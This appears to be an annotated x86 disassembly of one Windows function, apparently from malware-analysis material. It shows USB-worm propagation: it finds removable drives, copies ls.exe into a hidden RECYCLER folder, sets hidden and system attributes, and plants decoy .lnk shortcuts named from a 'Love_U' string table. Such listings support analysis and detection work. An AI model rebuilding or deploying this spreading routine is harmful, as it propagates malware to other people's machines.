Function at 0x6308d600
Capabilities:
Get disk information
Set file attributes

Disassembly:
push ebp
mov eax, 0x1d3c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
mov esi, str.Love_U
sub esp, eax
mov eax, 0x600
lea edi, [ebp - 0x1818]
mov ecx, eax
lea edx, [ebp - 0x1d18]
rep movsd dword es:[edi], dword [esi]
mov edi, edx
mov eax, ecx
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [esp + 4], edx
mov dword [esp], 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [ebp - 0x1d2c], 0
push ecx
push ecx
mov eax, dword [ebp - 0x1d2c]
mov al, byte [ebp + eax - 0x1d18]
test al, al
je 0x6308d85c
movsx ebx, al
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll_tolower]
cmp eax, 0x61
je 0x6308d85c
lea eax, [ebp - 0x1d1c]
mov dword [esp + 8], ebx
mov dword [esp + 4], str._c:_
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x1d1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
push edx
jne 0x6308d85c
lea ebx, [ebp - 0x1c18]
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x1d1c]
mov dword [esp + 4], str._c:.RECYCLER
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.63081580
mov dword [esp], ebx
call fcn.6308535e
test al, al
je 0x6308d719
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x1d1c]
mov dword [esp + 0xc], 0x63163980
mov dword [esp + 4], str._c:.RECYCLER_ls.exe
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.63081580
jmp 0x6308d736
mov dword [esp], ebx
call fcn.63085525
mov dword [esp + 4], 0x27
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
jmp 0x6308d6e9
mov dword [esp], ebx
call fcn.6308532c
test al, al
je 0x6308d750
lea esi, [ebp - 0x1818]
lea ebx, [ebp - 0x1c18]
jmp 0x6308d77c
mov dword [esp + 4], 1
mov dword [esp], ebx
call fcn.6308c9d8
jmp 0x6308d742
mov dword [esp], ebx
call fcn.6308532c
test al, al
jne 0x6308d814
lea eax, [ebp - 0x18]
add esi, 0x40
cmp esi, eax
je 0x6308d7a8
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x1d1c]
mov dword [esp + 0xc], esi
mov dword [esp + 4], str._c:_ls.lnk
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.63081580
jmp 0x6308d762
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, 0x60
cdq
mov dword [esp + 4], str._c:_ls.lnk
idiv ecx
lea eax, [ebp - 0x1818]
mov dword [esp], ebx
shl edx, 6
add edx, eax
movsx eax, byte [ebp - 0x1d1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
call fcn.63081580
lea eax, [ebp - 0x1c18]
mov dword [esp + 4], 3
mov dword [esp], eax
call fcn.6308c977
lea ebx, [ebp - 0x1c18]
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x1d1c]
mov dword [esp + 4], str._c:_recycler.lnk
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.63081580
mov dword [esp], ebx
call fcn.6308532c
test al, al
jne 0x6308d85c
mov dword [esp + 4], 0x1f
mov dword [esp], ebx
call fcn.6308c977
add dword [ebp - 0x1d2c], 4
cmp dword [ebp - 0x1d2c], 0x100
jne 0x6308d654
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret